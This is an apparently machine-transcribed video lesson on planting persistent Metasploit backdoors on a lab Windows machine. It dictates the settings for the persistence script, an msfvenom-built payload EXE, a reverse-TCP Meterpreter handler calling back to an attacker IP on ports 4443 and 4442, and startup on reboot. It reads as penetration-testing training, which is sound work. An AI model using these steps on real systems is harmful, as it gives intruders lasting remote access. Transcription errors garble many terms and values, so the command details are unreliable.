Now, as I said before, creating a back door.
Might be a good way to return.
So I want to show you a few back doors presented in an interpreter.
The first one is interpreter service.
Or abbreviated to Matt, as we see.
So it's a stand alone program, but it is implemented for interpretor.
Now, word of warning here before you go any further.
That service requires no authentication.
So it's better to be careful because another one may connect to your back door.
Now, next flavor.
Persistent script.
Métis Boit also has an interpreter script persistance, Dadaab.
And that's going to create an interpreter service that will be available to you even if the remote system
is rebooted.
So this way, if the service you initially exploited is down or patched, you can still gain access
to the system.
Another word of warning here before you go any further.
The persistent script requires no authentication.
So that means that anyone that gains access to the port could access your back door as well.
OK, so the next flavor is a post-modern resistance.
Now it's more consistent than the other ones.
Also, it allows you to create your own backdoor file from the beginning, but before running the module,
you'll need to create the back door that contains the payload for us.
So let's have a look at what we have.
All right, so I've already gained access to the target system.
And I'm going to use this session to perform persistency on my target.
I'll use my first flavor, it's met service.
But unfortunately, the script doesn't work properly at.
So we're going to move on to the second one, the persistance script.
So first, let's open up a new tab and go to them interpretor scripts directory.
Type in them, persistance RB.
Now, this is the interpreter persistent script.
When you follow the codes, you will get the warning logic and here's the help menu code for the script.
And because my interpreter scripts are now being made obsolete, you're not going to be able to display
their help screens.
So it's always a good practice to double check your parameters here.
OK, quit them and return to my interpreter.
Then type in run persistance.
To start the agented boot time.
P four, four, four, three.
That's the port that the agent will connect back to.
I five, it's a time interval for the agent to send reconnect probes are ten, ten to eleven is the
connect back address for the agent.
In this case, that's going to be the IP address of Colly so we can enter.
And also, you can specify a parameter to automatically create the handler.
But right now, we're going to do it manually.
And we'll send the session to the background.
Use, exploit.
Multi handler.
Said payload.
To Windows.
Interpretor.
Reverse Tsipi set host.
To 10, 10 to 11, the IP address of Carly.
Said Outport.
Two, four, four, four, three.
Now, show me the options.
Good.
Everything looks a okay.
So now exploit.
And you'll see that the session opened immediately.
But I really do need to be sure exactly, and you can also see.
Big sessions.
And here is your persistent session, overreport four four, four, three.
Interact session for.
Get Yoeli.
Cesan vot.
All right, see, so there is a persistent back door on Métis, voidable three now the back door will
connect back to us when the system is awake.
So let me warn you again about this script, it could cause problems, it has a potential will say to
cause problems because someone else may connect to it, especially if you forget about it or you're
just unaware.
So remember that.
So I'm going to go back to my original session.
OK, so the next flavor is a post-modern.
Persistance FXE.
So this is the information for this module.
Now it's more consistent than the other ones.
Also, it allows you to create your own backdoor file from the beginning.
But before running the module, you'll need to create the back door that contains the payload for us.
So let's open up a new tab.
Type MSF Benham.
P and then your payload name.
And the payload options now host equals I.P. address of Colly.
Outport equals 444 to.
And other options, FXE specifies the format of our final file.
A eighty-six.
Specifies the architecture of the final file.
Platform windows.
Specifies it as a Windows system file.
Oh, defines the name of the produced payload file.
Resistance that EXI.
So let's go back to the interpreter session.
Run post windows, manage persistance FXE.
R e name equals persistence, that exi.
So this is the name that will be shown in the task list of the target.
Our XPath equals route desktop.
Persistence that EXI.
This is our payload file.
Startup ecosystem.
So this option enables a payload to start when the system is booted.
OK, so hit enter.
And the module successfully executed.
So now let's start a handler for the module.
So I'm already using the handler template.
Show options.
And I'll just set airport two four four four two.
And then exploit.
All right, so I'm going to reboot my voidable very quickly.
Now, here, watch the material, your screen on the left pane, you can easily see this session open.
That uid.
It's disinfo.
All righty, so this is what I want.
But I also need to be sure put it in the background sessions.
All right, so this is it.
I have the connection on board four four four two.
Now, when the system reboots.
We'll get up a session on the target.